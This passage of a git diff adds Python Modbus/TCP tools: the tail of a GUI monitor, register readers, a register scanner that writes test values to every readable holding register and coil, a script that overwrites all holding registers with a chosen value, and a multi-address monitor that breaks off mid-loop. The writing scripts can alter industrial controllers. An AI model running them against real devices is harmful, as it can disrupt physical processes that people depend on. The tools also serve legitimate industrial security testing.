str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and 